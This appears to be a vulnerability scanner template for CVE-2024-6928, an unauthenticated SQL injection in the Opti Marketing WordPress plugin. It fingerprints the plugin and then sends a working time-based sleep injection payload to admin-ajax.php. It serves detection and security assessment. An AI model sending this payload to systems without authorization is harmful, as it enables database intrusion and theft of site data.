CVE-2024-6928: Opti Marketing <= 2.0.9 - SQL Injection

id: CVE-2024-6928

info:
  name: Opti Marketing <= 2.0.9 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The Opti Marketing plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/opti-marketing/opti-marketing-209-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/7bb9474f-2b9d-4856-b36d-a43da3db0245/
    - https://nvd.nist.gov/vuln/detail/cve-2024-6928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-6928
    epss-score: 0.75526
    epss-percentile: 0.98857
  metadata:
    max-request: 2
    vendor: opti-marketing
    product: opti-marketing
    framework: wordpress
    publicwww-query: "/wp-content/plugins/opti-marketing"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wp,wordpress,opti-marketing,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/opti-marketing")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=save_article&postId=(select*from(select(sleep(6)))a)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
        condition: and
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